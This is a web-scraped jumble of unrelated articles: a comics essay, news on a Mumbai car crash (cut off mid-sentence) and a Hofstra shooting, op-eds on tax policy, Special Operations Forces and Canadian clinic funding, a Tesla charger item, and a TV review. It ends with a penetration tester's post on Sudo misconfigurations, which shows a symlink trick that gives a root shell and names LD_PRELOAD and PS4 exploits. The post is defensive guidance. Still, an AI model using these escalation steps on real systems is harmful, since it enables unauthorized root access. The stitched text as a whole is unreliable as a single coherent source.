I usually prefer queer characters to be written by queer creators and trans characters by trans creators, but I’m always open to straight and cis people writing them. It all depends on the person and the character. I love encouraging people to write them but a straight/cis/etc. person writing them kind of makes me involuntarily put my hackles up, like I’m on guard waiting for something to happen.
From personal experience I know that the fear of stereotypical writing and invalidation is all too justified. I felt it when Batwoman was no longer allowed to marry her girlfriend, when The Guild had Felicia Day’s character catch her boyfriend cheating on her with a man out of nowhere, and when Jean Grey told Iceman that he was most definitely gay and not straight or bi. We may be in an era of unprecedented social change, but even well-meaning allies can make painful missteps. Hope is a thing we have to grow cautiously.
Gedris’ perspective is that it’s both a practical and emotional issue:
I used to maintain a sort of educational site about writing queer characters, and I outlined a lot of specific things I wanted to see happen more or less. I got so many people writing to me, asking if this or that specific thing they wanted to write was okay, and I began to realize that the specifics don’t really matter so much as that people are willing to try. I just want to see more people try. I want to see more people be less afraid of failing because even I make mistakes writing other types of queer people than myself, and you can’t let that fear hold you back. We’re gonna screw it up sometimes, and we have to keep trying anyway. That’s how we get better, that’s how we learn.
I asked all the women I spoke to about what queer books and characters they recommend right now. They brought up a wide range of titles created by people of all sorts of identities and orientations. They mentioned Lumberjanes and Saga, Jem and Zodiac Starforce, Supermutant Magic Academy, Smut Peddler, Fresh Romance, Runaways, and even Teenage Mutant Ninja Turtles.
What made me even happier was knowing that there were even more titles they hadn’t mentioned, maybe even ones they didn’t know about. I never hear anyone mention how queer DC Comics Bombshells is, or the delight of Raven: the Princess Pirate. There’s Gunnerkrigg Court and Shutter and Clean Room, each representing a very different kind of story but all containing queer women.
When it comes to queer representations in comics there are clearly a lot of options!
For those who know where to look.
And focus their lives on comics.
And have gone through so many bad stories that they’ve now fine-tuned want to a precise checklist.
Or I suppose you could just rely on luck. Sadly, not everyone has an enthusiastic and informed comic seller nearby.
It’s a frustration shared by other women who sell comics. Megan Rae Jordan of Atlantis Fantasyworld in California had this to say:
Publishers and creators that avoid representing every day queer characters in popular comics are perpetuating a culture in which non-heterosexual relationships are viewed as “other”, which neglects a huge faction of comic readership and avoids an accurate, healthy reflection of our ever-changing social climate…No one should have to hunt for comics that reflect and validate their experiences.
So then what do we come back to? The same old refrain of “we have some things but need far more”? That vague and desperate urge to just see more change in one of the many industries that always seems to move at a glacial pace? Today I saw a man tell his son he couldn’t have a Powerpuff Girls comic because it was “for girls.” In moments like that it’s hard to imagine a comic like Lumberjanes even existing, let alone inspiring other titles filled with queer characters.
What gives me hope are the other customers, the ones that not only don’t mind that Thor is a woman now, but are thrilled about it, the ones who ask me to recommend any titles with lesbians and I say “What genre?” My heart beats faster when someone comes up to me, looking nervous and dancing around actually saying the word “transgender,” and then I’m able to make them smile when I have multiple titles to recommend to them.
Yes, the list of queer comics and creators is still much too short. We need more trans characters and bi characters and ace characters. We need non-binary creators who get a chance to show their life experience with a cape added on. There is still so much left to do.
But I also guarantee that change is in the air. Good queer characters and, to a lesser extent, good queer creators are getting their voices heard. Not only that, but the voices are carrying. Slowly but surely, these queer women of comics are becoming the heroes we always needed.
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Alex Townsend is freelance writer, a cool person, and really into genderstudies and superheroes. It’s a magical day when all these things come together. You can follow her on her tumblr and see her comments on silver age comics. Happy reading!
—The Mary Sue has a strict comment policy that forbids, but is not limited to, personal insults toward anyone, hate speech, and trolling.—
Follow The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google+.So, who was driving? Mumbai police probe crash involving custom Aston Martin registered to Mukesh Ambani's company
On the evening of December 8, a customised Aston Martin worth Rs.4.5 crore registered to the Mukesh Ambani-owned Reliance Ports under number MH 01 BK 99, was cruising down Pedder Road in Mumbai's posh South Bombay suburb, when the driver lost control.
The car was going at such high speed that it banged into an Audi being driven by a Ghatkopar resident - a 25-year-old MBA student called Foram Ruparel - causing the car to jump the divider and hit an oncoming bus.
The Aston Martin in the meanwhile also hit a Hyundai Elantra, owned by Vikram Mishra, a resident of Thane who works at a pharmaceutical firm. One of the passengers in his car was a pregnant woman, who sustained injuries.
Wreck: There are still questions to be answered as to how the Aston Martin crashed in Mumbai
Though the driver tried to flee, the car stalled. A Reliance spokesperson told Mail Today that the injuries sustained were minor and that the driver was not fleeing the scene but that the impact of speeding was so intense that the car was thrust ahead.
By the time the chaos ended, the two security details following the Aston Martin - two Honda CRVs - had whisked the driver away, leaving the car there.
The police took 12 hours to record the statements of the eyewitnesses and at 5.30am an FIR was filed. Police also stated that CCTV footage at the Cadbury junction was inconclusive as it did not show the faces of the drivers. A Reliance spokesperson informed the police that it was a driver who was in the car.
The next day a Reliance driver Bansilal Joshi, 55, and weighing 100kgs, who had worked with the company for around 30 years, and who claims to have been entrusted with driving Mukesh's son
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New York home invasion suspect killed in shootout was Dalton Smith, 30
He was on parole for first-degree robbery, Nassau County police say
Sunday's graduation ceremony at Hofstra University was a bittersweet affair marked by a moment of silence for a 21-year-old student killed by a police officer two days ago.
Many students at the university in East Garden City, New York, wore white ribbons on their gowns in tribute to Andrea Rebello, CNN affliate WCBS reported.
"I want to express our community's collective grief and our sorrow over the senseless and tragic death of a very young member of the Hofstra family," university President Stuart Rabinowitz said. "Our hearts and our thoughts and our prayers are with Andrea's family, and with her friends and classmates, many of whom are in this room this afternoon."
She was killed by police gunfire during a confrontation between a home invasion suspect and authorities Friday night, a police spokeswoman said Saturday.
An officer fired eight shots at the intruder, who authorities say was holding a gun to Rebello's head during a home invasion robbery at an off-campus house in Uniondale.
One shot hit Rebello in the head, Maureen Roach, a spokeswoman with the Nassau County police, said.
The intruder, whom authorities identified as Dalton Smith, 30, of Hempstead, was struck seven times and died.
Smith invaded the home Rebello shared with her twin sister and two others during the predawn hours on Friday.
At some point, a female roommate of the twins was able to leave the home and call police, a police spokesman told CNN on Friday.
When a police officer arrived, Smith told the officer he was going to kill Rebello. He turned the handgun toward the officer, she said.
The officer, fearing for his life, drew his gun and fired, Roach said.
Authorities have not identified the officer.
At the time of the shooting, Smith was wanted for jumping parole, police said.
He was on parole for first-degree robbery and had an "extensive" arrest history that includes robbery, assault, and promoting prison contraband, said police in Nassau County.
A warrant for his arrest was issued April 25 for allegedly absconding from parole, police said
Rebello's high school principal, Carol Conklin-Spillane, said the twins' home community in Westchester was heartbroken.
She described Rebello as a fun-loving, personable and self-aware young woman.
Her parents, Fernando and Nella Rebello, are closely tied to the Portuguese community, and always worked to create opportunities for their children, Conklin-Spillane said.
Rebello, a junior, was majoring in public relations.
At Sunday's graduation ceremony, Rabinowitz recalled a Bob Marley quote that Rebello found inspiring: "Live the life you love and love the life you live."
Hofstra University said it is offering counseling to students.
A funeral Mass is planned for Wednesday.A president who wants to boost economic growth should avoid ideology and focus instead on “evidence-based policies.” Unfortunately, lots of policy in Washington is based on what people hope will work, not what actually works.
The standard, but failed, approach often advocated by conservatives is to cut taxes for high-income households. Ever since the 1970s, when Jude Wanniski and Arthur Laffer came up with what’s become known as supply-side economics, conservative politicians have found it difficult to resist the notion that tax cuts for high-income households are good for all and will “trickle down” to the rest of the economy. In the extreme versions that thrived through the beginning of the Reagan Administration, some supply-siders argued that tax cuts would pay for themselves by substantially increasing overall economic growth. Decades of experience make that claim impossible to support, so advocates now make the more modest claim that tax cuts will spur enough growth to make up a large enough share of the revenue losses to still be good economic policy.
But the record is clear that deficit-financed tax cuts on high-income households and businesses have failed to boost growth at the federal or state level in the U.S., or in other countries. For example, when growth is (appropriately) measured from peak to peak of the business cycle, the vaunted Reagan tax cuts produced a period of only average growth. Indeed, research by Martin Feldstein, President Reagan’s former chief economist, and Douglas Elmendorf, the former Democrat-appointed Congressional Budget Office Director, concluded that the 1981 tax cuts had virtually no net impact on growth. Instead, the post-recession recovery of the early 1980s benefited primarily from the Fed’s decision to reduce interest rates.
The record is clear that deficit-financed tax cuts on high-income households and businesses have failed to boost growth at the federal or state level in the U.S., or in other countries.
Nor did the 2001 and 2003 Bush tax cuts stimulate much, if any, growth. Despite cuts in tax rates on ordinary income, capital gains, dividends and estates, the economy grew sluggishly after 2001. Moreover, even that lackluster growth is generally attributed to the Fed’s expansionary monetary policy (and to a housing boom that unfortunately went bust and triggered the Great Recession of 2008-9).
States have not fared better with high-income tax cuts. On the advice of Donald Trump’s economic advisor Stephen Moore and others, Gov. Sam Brownback (R-KS) argued in 2012 that an income tax cut would be “like a shot of adrenaline into the heart of the Kansas economy.” Alas, the tax cuts coincided with an economic decline that continues to this day. In the wake of faltering revenues, the state has cut education and raised more regressive taxes. Other states that enacted tax cuts have similar stories to tell.
Top tax rate cuts fare no better in cross-country comparisons. There is no relationship between changes in top marginal tax rates and growth between 1960-2010. For example, the United States cut its top rate by over 40 percentage points and grew just over 2 percent annually per capita over that period. Germany and Denmark, which barely changed their top rates at all, experienced about the same growth rate.
Thus, high-income tax cuts have not magically improved economic growth. Instead, the next president should focus on building economic capacity with new investments in infrastructure, research and development (R&D), education, and anti-poverty programs.
Research from a wide variety of sources broadly supports the notion that public infrastructure and R&D investments increase private sector productivity and GDP. The impacts of public investment are greatest during periods of low growth. Federal investments in R&D have aided the rise of modern medicine (such as the human genome) and technology (the microwave, the internet). Public R&D policies can boost private R&D and increase productivity by generating knowledge that leads to new goods and services and improvements in existing ones. Investments in R&D can also drive down the price of new technologies, making them available to more people.
Research from a wide variety of sources broadly supports the notion that public infrastructure and R&D investments increase private sector productivity and GDP.
Federal investments in education lead toward a more skilled workforce, raising earnings and spurring innovation. Workers with only a high school education are twice as likely to be unemployed as those with at least a bachelor’s degree. Looking outside the U.S, an extra year of school is associated with a significant increase in per capita income.
There are also gains to investments in early childhood education: the earlier the intervention, the more cost-effective, which is why policymakers have been focused on pre-school. Children who attend early high-quality care and education programs are less likely to engage in criminal behavior later in life and more likely to graduate from high school and college. Reducing the cost of preschool effectively increases a mother’s net wage, making it more likely she will return to the labor market.
Spending on effective social programs provides immediate benefits to low-income families and can improve long-term economic growth. For example, the Earned Income Tax Credit provides a critical tax break to low-income families and contributes toward a number of economic benefits: the increased income security contributes to better health; much of the credit’s benefit structure encourages work; and the credit can lead to increased college enrollment, which leads to higher wages. Nutrition assistance programs improve beneficiaries’ health and also increase economic independence, while housing assistance programs such as portable vouchers can improve educational attainment and future earnings by allowing families to relocate from housing projects with concentrated poverty to areas with more diverse incomes and higher levels of upward mobility. Spending for low-income health programs such as Medicaid and the Children’s Health Insurance Program (CHIP) can improve economic outcomes; improved children’s health leads to a healthier future adult population, and better health leads to work stability and increased education completion.
A significant investment – say, 1 percent of GDP per year – could be made in the programs above and would spur broad-based, inclusive growth.
Added growth would boost revenues, but not by enough to pay for this new spending, thus raising the public debt. The effects of debt cannot be ignored. Fueled by rising Social Security, Medicare, and Medicaid obligations, our growing debt will eventually become a drag on economic growth. We have plenty of tools that could deal with this problem – including a carbon tax, a value-added tax, a reduction in income tax expenditures, and judicious Social Security and Medicare reforms. We just need the political will to implement them.
But it isn’t the time for debt reduction yet. The current priority should be to establish more robust growth. Research has shown that federal investments can lead to better future economic outcomes. The evidence on supply-side tax cuts is simply not supportive. It is time for a pragmatic growth agenda, not magical thinking.
This piece originally appeared in Real Clear Policy.U.S. Army Special Forces soldier nicknamed 'Cowboy' secures an airstrip during an operation August 28, 2002 in the town of Taloquan in Northern Afghanistan. Photo by Scott Nelson/Getty Images
Over the past 16 years, a profound transformation has been underway in how America wages war. Starting under George W. Bush after 9/11, and accelerating under Barack Obama and Donald Trump, Special Operations Forces—once a small, secretive subset of the military used for highly specialized tasks—have been transformed into the primary instrument of American military power and foreign policy. In the process, they have been put in an impossible position.
In a 2013 report for the Council on Foreign Relations, Rand Corporation scholar Linda Robinson outlined this already well-advanced trend when she noted, “[Special Operations Forces] have doubled in size and been deployed more often and for longer periods than ever before. They have more generals and admirals leading their ranks—almost 70, compared with nine a dozen years ago.” And according to a recent TIME magazine report, there are currently 8,000 members of these forces deployed around the world at any given moment, up from 2,900 in 2001.
Often known by the abbreviation SOF, Special Operations Forces is the umbrella name covering the gamut of commando and unconventional warfare units across the armed services. These include the Navy SEALs who carried out the Osama bin Laden raid in 2011, Army Special Forces like the kind operating in Africa—where four* Americans were killed in an ambush this October—and a bevy of other elite units and their support personnel. On one hand, these fabled operators have become the crown jewels of the armed forces, oohed and aahed over by the public and policymakers alike. But at the same time, they’re increasingly used like a utility tool—inside the SOF community, they call it an “easy button"—one that can supposedly fix every kind of disorder and conflict in every corner of the world.
The changes come at a price—to the idea of the military as protector and executor of democratic politics, rather than its substitute, as well as to the special operators and their families, who are being pushed to the breaking point.
“SOF has become the US version of the French Foreign Legion,” said an Army Special Forces sergeant with over 25 years of service—who requested anonymity as he did not have permission to speak to the press. He was referring to the quasi-mercenary French military force that is separate from its national army and made up almost exclusively of non-French citizens. “The legion being ultimately a force that is not French. Ma and Pa in Paris or wherever, they don’t care if a bunch of Legionnaires get killed somewhere around the world because they’re not French anyway. That’s what SOF is like now.”
Of course, the people who make up SOF are a class apart by choice—that’s the point of volunteering for elite units. But for soldiers like the one who spoke with VICE, being anointed emblems of American power has made them less visible as actual Americans. At a point, a professional warrior caste becomes indistinguishable from an army of foreigners. Their purpose is to be no one’s sons and daughters.
The glory awarded SOF operators in movies and at public spectacles, divorced from any wider sense of shared sacrifice, only makes their existence more remote. As the writer Matt Gallagher, an Iraq veteran, put it last year, “The mythos of Special Operations has seized our nation’s popular imagination, and has proved to be the one prism through which the public will engage with America’s wars.” We engage mostly through a kind of celebrity worship—you too can dress like an operator and feel contempt for beta males—and the forms of cheap adulation available in popular books and film.
Consider this fact from the TIME piece: For the first time ever in 2016 (and again so far in 2017), more special operations troops were killed in action than conventional forces. The article notes: “Special Operations forces now make up nearly all US combat casualties, despite making up less than 5 percent of the total force.” That’s out of the less than one percent of the population that serves in the military in the first place. In other words, the operational burden of American foreign policy now rests on the backs of one twentieth of half of one percent of the American people.
Special Operations Forces are relatively cheap and unencumbered compared to conventional ones. The organizational culture is flexible enough to be thrown at everything from counter-terrorism to diplomatic tasks—and mature enough to be left on its own, trusted to find at least temporary solutions. Individually, these are defining strengths, but taken together they’ve created the illusion of a unified strategy where none exists.
And the same qualities making Special Operations Forces such an effective and attractive tool for policymakers present drawbacks. Retired general Stanley McChrystal, who served most of his career in SOF, was instrumental in expanding its role and influence before scandal pushed him into early retirement. In 2010, he warned, “That’s the danger of special operating forces. You get this sense that it is satisfying, it’s clean, it’s low risk, it’s the cure for most ills.”
War is getting more special but less political. That may seem appealing, what with the state of American politics these days. But depoliticizing warfare cuts it off both from oversight, accountability, and the very purpose of politics, which is to broker solutions short of armed combat. A number of different factors have converged to cause this trend: A proliferation of drones and forms of automated attack—cyber and otherwise. The rise of private armies. The increasingly targeted nature of military operations in which, as army veteran Brian Castner wrote, “War is reverting to a perversion of classical single combat [and]… after a century and a half of industrial anonymous bloodshed, the individual is key.” None of this foretells less war or that it will no longer serve political interests, only that those interests will become more opaque and less responsive to the polity.
And Trump, who is drawn to “his generals” by an esteem for military pageantry and the appearance of strength, has shown a particular aversion to articulating the kind of clear strategic goals that could discipline the use of SOF and restore it to a balanced place in the spectrum of foreign policy options.
“The Trump admin[istration] may uniquely overvalue the military compared to diplomatic and other resources,” one Democratic congressional staffer with knowledge of the Armed Services Committee, who requested anonymity as he was not authorized to speak in an official capacity, told VICE. “But even if there was a different administration in office now, there’s still a broader trend that any executive will rely on SOF not only because of their utility in the mission but because they offer the advantage of being subject to less public scrutiny and less Congressional scrutiny.” What Trump inherited is a highly adaptive, highly lethal military force that could be sent nearly anywhere—and was already almost everywhere—to deal with nearly anything, and with little public criticism until things go wrong.
In the past year, they have repeatedly gone wrong.
First there was the raid in Yemen. On the night of January 29, at the end of Trump’s first month in office, one Navy SEAL was killed and three were wounded in a raid on an al Qaeda-affiliated compound in Yemen. A subsequent military investigation found up to a dozen civilians were also killed in the raid. President Trump responded to the news by publicly distancing himself from the operation and blaming the death of Navy SEAL William "Ryan" Owens on his generals. In fact, according to the Congressional staffer who spoke with VICE, the White House had an unusually high level of involvement in the raid's organization. "The process by which that raid was approved and executed wasn’t the traditional process that was used by the previous administration or most other administrations," he told me. "It circumvented the Principals Committee at the NSC [National Security Council] and instead it was a hodgepodge of more political actors from the West Wing reviewing and approving that raid." (The White House and Pentagon did not respond to requests for comment for this story, but the thrust of these criticisms was aired in a letter sent by multiple members of Congress to the Secretary of Defense and Chairman of the Joint Chiefs of Staff in February.)
Yemen was followed by Niger, where, in early October, four* soldiers were killed—two of them Special Forces soldiers and two others support troops serving alongside them—and two more wounded in an ambush. SOF’s mission in Niger is, as VICE News has reported, one of many ongoing in Africa, where the US military presence has been rapidly expanding and, according to TIME, now occupies 15 percent of Special Operations Forces. Yet the scope of the American presence in the country was news to a senior member of the Senate Armed Services Committee, Lindsey Graham, who told NBC’s Chuck Todd in October he'd had “no idea” about it. "I didn't know there was 1,000 troops in Niger," Graham said, adding, “we don’t know exactly where we’re at in the world militarily and what we’re doing.”
Thousands of individual terrorist and insurgent leaders have been killed since 2001 in less publicized versions of the SEAL team raid on Osama Bin Laden’s compound in Pakistan. Infrastructure has been destroyed, networks have been disrupted. And yet, in Afghanistan, the Taliban is arguably more powerful than ever and the global jihadist movement remains resilient. In August, Foreign Policy’'s Micah Zenko noted that, “Despite more than 200 JSOC (and occasional CIA) airstrikes over the past eight years, the State Department’s estimated strength for al Qaeda in the Arabian Peninsula grew from'several hundred members' in 2010 to 4,000 fighters now—a force size it has maintained for the past half-dozen years.”
The fact that America is not winning its wars is hardly the fault of the special operations forces it increasingly relies upon to wage them. They’ve had some incredible successes with the missions they’ve been given. But it shows limits of what a SOF-centric approach can accomplish, and the costs of over-reliance on them.
Special Operations Forces are overworked, over-deployed, stretched thin, and even “fraying,” as former Special Operations commander General Joseph Votel put it in 2014. And there are signs that this is already leading to tragic results. Lurid scandals. Allegations that SOF members massacred civilians in Somalia—the Pentagon says it has investigated and refuted this claim but congressional hearings are still set to be held. And, less dramatically, allegations about standards being lowered to increase numbers that echo perennial concerns in elite units but seem to have become more vehement lately.
David Maxwell is the associate director of the Center for Security Studies at Georgetown University and a retired Army Special Forces colonel. In an interview, he focused on the lack of a coherent and unifying national security strategy as the fundamental problem affecting Special Operations Forces and the military at large.
“There’s a lot of great people out there doing a lot of great things, achieving a lot of tactical effects, but it’s really the orchestration of strategy that we are just not good at,” Maxwell said.
He pointed to the ongoing human rights nightmare in Syria as a prime example. “What we’ve seen in Syria and a lot of these places is the employment of SOF to demonstrate that we’re doing something.”
It’s easier to keep “doing something,” pressing the easy button again and again, when it’s only the legionnaires dying.
*Correction 12/12/17: Because of an editing error, a previous version of this story suggested three Americans were killed in Niger this October when in fact four were. The story also previously said three special forces soldiers were killed, when in fact two special forces soldiers and two support personnel were killed. We regret the errors.
Follow Jacob Siegel on Twitter.Nebraska is one of the few states joining Arkansas, Alaska, Hawaii, and North Dakota as a state that does not have a single Tesla Supercharger within its borders, but that will soon change. According to a recent filing by Tesla with the Lincoln-Lancaster County Planning Commission, the electric carmaker and energy company looks to bring its fast-charging Supercharger network to the Cornhusker State.
We dug up the application filed by Tesla on August 4, 2016 showing that the city’s development review planner has been assigned to a “Tesla Motors Charging Station” project located at 5020 N 27th St & North View Drive.
The site for the Supercharger station is a parking lot for large Midwestern supermarket chain, Hy-Vee. The 85-year old brand which started as a general store in 1930 has become one of the Midwest’s best known grocery store chains and, ironically, gas stations.
With Tesla reportedly taking in 400k reservations on its upcoming mass-market Model 3, striking fear into the hearts of some of the world’s most notable luxury automakers, concerns over Supercharger availability is at an all-time high.
We previously reported that Tesla has been in negotiations with Sheetz on expanding its Supercharger network across the company’s chain of gas stations in the mid-Atlantic region.
The latest filing to install a Supercharger on the lot of a supermarket chain is inline with Tesla’s goal of doubling its fast-charging network (map) and quadruple its destination chargers before Model 3. Though this would make sense from a strategic standpoint, Tesla has not officially commented on whether the company is in discussion with Hy-Vee about the possibility of expanding its charging network across the chain’s Midwestern grocery store and gas station locations.
Nebraska’s first Tesla Supercharger off I-80 in Lincoln is presumed to be the beginning to a series of charging stations that will be installed along the interstate, connecting Lincoln with Kearney, North Platte and Ogallala. With range-zapping winter climates and steep elevation prevalent in many regions across the Midwest, combined with Tesla’s re-entry into the market with a lower range 60 kWh battery pack for the Model S and Model X, many would argue that having a robust Supercharger network spaced closely together couldn’t come soon enough.The war waged by political reactionaries and pro-life advocates against Planned Parenthood in the United States is widely known. I wrote about it a couple of weeks ago, and the undercover videos attempting to show the organization in a bad light are only the latest in a longstanding campaign. Planned Parenthood, which provides health care to millions of American women, has been under threat for years. It has always fought back.
What is less well known is that Canadian sexual health clinics, which offer many of the same vital services as their U.S. counterpart (but not abortions), are under similar threat. Earlier this month a group of Canadian sexual health clinics got together to talk about the increasingly difficult obstacles they face, from cuts in funding to harassment by anti-choice opponents to donors who are suddenly spooked by the Planned Parenthood controversy south of the border.
Many of the clinics in Canada have long since dropped Planned Parenthood from their names, and even the ones that proudly maintain the title aren't officially tied to the outfit in the U.S. But still the stigma remains, and many are struggling. Some have cut services; some have closed, or fear they will have to.
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"It's getting quite desperate. We're all feeling the bite," said Lauren Dobson-Hughes, president of Planned Parenthood Ottawa, which recently put out an urgent appeal to its supporters for funds. Planned Parenthood Ottawa, which provided counselling and sex education to 8,500 clients last year (not to mention distributing 72,000 free condoms) has seen its government support slashed by 10 per cent in each of the past few years. The United Way in Ottawa cut all its funding a few years ago. Other grant applications have gone unanswered, and donors are spooked by the very words "sexual health."
According to Planned Parenthood Ottawa, there has been a concerted effort by anti-choice advocates to badger agencies and donors that might otherwise provide financial support to clinics (even though they don't provide abortion services.) As well, there is just a general leeriness around the subject of sex education – witness the vehement opposition to Ontario's new curriculum. Donors are risk averse in tough times. "For some donors, it's just easier to support something like a cancer charity," said Ms. Dobson-Hughes.
The result of dwindling funding is that the people at greatest risk suffer. One client, a pregnant sexual assault survivor in an abusive relationship, recently had to be turned away from the Ottawa clinic because there were no counsellors to see her.
This squeamishness may seem difficult to believe in 2015, but other sexual-health providers – the ones who give out free condoms, and counsel nervous teens and pregnant women, and offer screening tests for people who might not have a doctor – confirm that it's a dire time. In April, Health Initiatives for Youth Hamilton, the country's oldest birth-control clinic, had to shut its doors after it lost its local government funding. It had been running for 85 years.
In March of last year, it looked like the doors of Victoria's Island Sexual Health Society would also shut when it faced a funding crisis. After a public appeal, it received a small boost from the province's health coffers. "The immediate threat is over, but we had to lay off staff and it's still a struggle," said Bobbi Turner, who's been the director of Island Sexual Health for 21 years.
Ms. Turner's clinic had 27,000 patient visits last year, and provided sexual education for thousands of students. Like similar outfits, it offers education and pregnancy counselling and clinical services like STI testing and cancer screening. One of the problems in Victoria, she said, is the lack of family doctors: "If we close, where are these people supposed to go?"
Now the clinic is exploring "different revenue streams," including selling a line of sex toys. It's not exactly a viable alternative to stable, year-on-year funding, but desperate times calls for innovative measures.
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In a tight-fisted world, it seems that women's health services – even with their long-term, quantifiable benefits – are the first and easiest things to cut. "Funding dollars are getting smaller and smaller," Ms. Turner said. "It's the same old story. Prevention gets bumped to the bottom of the list, and it's not until we're about to close our doors that people take notice."The Americans. (Photo: FX)
Season two of The Americans premiered Wednesday night on FX. Maybe you knew this: The Americans was the most-watched first season in FX history, tied with Justified. A few critics, chiefly Andy Greenwald at Grantland, who had it as his second-favorite show of the year, champion The Americans aggressively. And, at least in Los Angeles, it’s hard to drive a mile through the city, or turn on any Fox-affiliated station, without seeing some of the show’s Soviet-tinged, '80s-paranoid advertising, which perfectly conveys its alchemical mix of will-they-or-will-they-kill-each-other romance and constant, suffocating menace.
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Then again: Maybe you didn’t know that The Americans was debuting on Wednesday. Maybe you’ve never seen an episode of the show. Maybe you didn’t realize that Keri Russell, Noah Emmerich, and Margot Martindale are in it. Or, like me before I watched, maybe you think it’s some sort of weird kitschy sci-fi alt-history thing and not an obsessively plotted throwback. The Emmys seemed to have this reaction: The show only received one major nomination—it also got nom’d for “theme music”—and that went to Martindale for her performance as a diabolically matriarchal handler.
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It doesn’t have the common mark of FX’s dramas, which is men taking on the burden of being men. On the contrary, it features one of the most interesting female protagonists on television—and it’s not a comedy.
My go-to elevator pitch when I try to get people to watch The Americans—which I think is, if not the best show on TV, then firmly in the top five—is that it’s what Homeland would be if Homeland were good. I know that’s mean. But what I’m trying to get at is that The Americans delivers on the promise of Homeland, which is an unconventional and dynamic heroine, international intrigue, a story filled with unknowns and tension, and some brilliant set pieces. Homeland doesn’t convert this potential into quality television. The Americans does. Yet Homeland’s first season wasn’t just nominated for an Emmy; it won. And more colloquially, it feels like Homeland had a buzz, particularly in the realm of online recaps, dedicated TV obsessives, and magazine thinkpieces, which The Americans has never come close to having.
This might all be in my head—but why isn’t The Americans more popular? I don’t mean in terms of viewership or ubiquity; the show’s 2014 premiere averaged 1.9 million viewers, which isn’t terribly far behind the viewership of Homeland’s season three finale. I mean: Why isn’t it viewed as a zeitgeist-defining show in the same breath as, say, Game of Thrones and Downton Abbey and House of Cards, all still in relative youth and all, it seems to safe to say, with a firmer grip on the American consciousness? Why isn’t it an Emmy nominee or Golden Globe nominee? Why isn’t President Obama asking for preview screeners?
THE AMERICANS IS ON FX. This isn’t a limitation in and of itself: Plenty of FX shows, especially Louie and American Horror Story, which, you could argue, paved the way for True Detective, current bearer of the TV crown in terms of sheer buzz, have been major objects of public fixation. Others, including Justified, It’s Always Sunny In Philadelphia, and The League, have carved out dedicated followings that probably rival the trendier shows like Mad Men and GoT in terms of size and box-sets-owned. FX’s major programming has been a mix of comedies like Louie or Always Sunny or Archer, auteurish undertakings that exist in their own unique language, or soap-operas-for-men like Sons of Anarchy and (the very good) Justified, which both can trace a significant amount of their DNA back to The Shield and Rescue Me, FX’s two original hits. (Not going to pretend like I have any understanding of Nip/Tuck’s legacy.)
The Americans, on the other hand, falls into neither of these camps: It’s less melodramatic, than Sons of Anarchy, far more elaborate than Justified; unlike nearly every show on the channel, it’s rarely hysterical, even when the action reaches a fever pitch. It doesn’t have the common mark of FX’s dramas, which is men taking on the burden of being men. On the contrary, it features one of the most interesting female protagonists on television—and it’s not a comedy.
In tenor and style, The Americans is much closer to the thoughtfulness and human drama of Mad Men or The Sopranos, except infused with a shot of espionage camp. The Americans is about spying, like Mad Men is about advertising and The Sopranos is about the mob: it is, and just as often, it isn’t. It’s a quieter show, despite the wigs and the suggestions of camp, than everything else on FX, which favors pomp and grandiosity, to varying degrees of effectiveness. The Americans has more to do, like the shows on HBO and Showtime and AMC (occasionally), with what’s happening away from the lens of the camera, or just out of its sight.
Unlike these other prestige-type shows, The Americans has not been a candidate for binge watching. And as a show on the lighter-regarded FX that airs as far from the hallowed grounds of Sunday night as calendar-possible—Wednesday night, son—it might benefit from this more than most. I watched it after purchasing the first season on iTunes—it wallpapered the four cross-country flights I made in the process of moving from New York to L.A.—and so many people who I urged to check it out responded by saying that they’d wait until it hit Netflix. And they’re still waiting. The Americans recently appeared on Amazon Prime, but in our current cultural climate, a presence on Netflix or HBO Go can be the catalyst that helps a show—especially if, unlike Homeland, it came out of the gate a little behind—reach a new level. Breaking Bad being the prime example.
Sometimes, though, the market is just sated. Homeland got its hooks in deep; even after the show descended into nonsense, and the folks who liked it began to sour, they stuck in, because we feel like these things are an investment of our time and, after a while, the sunk cost becomes an albatross we aren’t keen to think about.
The Americans became the other spy show, much like Damages, another underappreciated, seemingly out-of-place FX critic’s darling, became another show about lawyers. But The Americans shouldn’t be the other spy show: It’s the better spy show.By Sebastien Macke, @lanjelot
Introduction
During security engagements, we regularly come across servers configured with the privilege management software Sudo. As with any software, the principle of least privilege must be closely followed, users must be granted the minimum possible privileges to perform necessary tasks or operations. Therefore to securely configure Sudo, user accounts must be restricted to a limited set of commands that they can legitimately execute with elevated privileges (usually those of the root account).
Out in the real world, we don’t often see Sudo configured according to the principle of least privilege. But when we do, we always uncover a mistake or two that allows us to escalate our privileges to root, at which point it’s game over. We win.
The purpose of this post is to present a series of examples of common mistakes and insecure configurations that we have seen and leveraged on production environments during security assessments and how you can make our team’s life that little bit harder.
Insecure File System Permissions
Consider the following Sudo configuration for our fictitious user account “appadmin”:
$ sudo -l [sudo] password for appadmin: User appadmin may run the following commands on this host: (root) /opt/Support/start.sh, (root) /opt/Support/stop.sh, (root) /opt/Support/restart.sh, (root) /usr/sbin/lsof
It all looks good so far. So let’s have a look at these scripts:
$ ls -l /opt/Support/ total 4 -rwxr-xr-x 1 root root 37 Oct 3 14:06 restart.sh -rwxr-xr-x 1 appadmin appadmin 53 Oct 3 14:03 start.sh $ ls -ld /opt/Support drwxr-xr-x 2 appadmin appadmin 4096 Oct 3 13:58 /opt/Support
Don’t these file and directory permissions look interesting? We have several options to escalate our privileges here, we could either:
Create the non-existent file “stop.sh” Modify the existing file “start.sh” Move the file “restart.sh” and create another file with the same filename
Here is a demonstration of the third option:
$ mv /opt/Support/restart.sh{,.bak} $ ln -s /bin/bash /opt/Support/restart.sh $ sudo /opt/Support/restart.sh [sudo] password for appadmin: # id uid=0(root) gid=0(root) groups=0(root)
Game over! :)
Environment Variables
Consider the following Sudo configuration for our user account “monitor”:
$ sudo -l [sudo] password for monitor: Matching Defaults entries for monitor on this host:!env_reset User monitor may run the following commands on this host: (root) /etc/init.d/sshd
The env_reset option is disabled! This means we can manipulate the environment of the command we are allowed to run. Depending on the Sudo version, we may be able to escalate our privileges by passing environment variables, as illustrated by the following well-known exploits:
PS4 (breno)
LD_PRELOAD (Kingcope or Sensepost)
Also keep in mind that there may be other dangerous environment variables that we could misuse (think of PERL5OPT, PYTHONINSPECT etc.).
It should be noted though, that even when env_reset is disabled, most dangerous environment variables are now safely removed by Sudo, based on a default hard-coded blacklist. Run “sudo -V” as root to see this blacklist under “Environment variables to remove”.
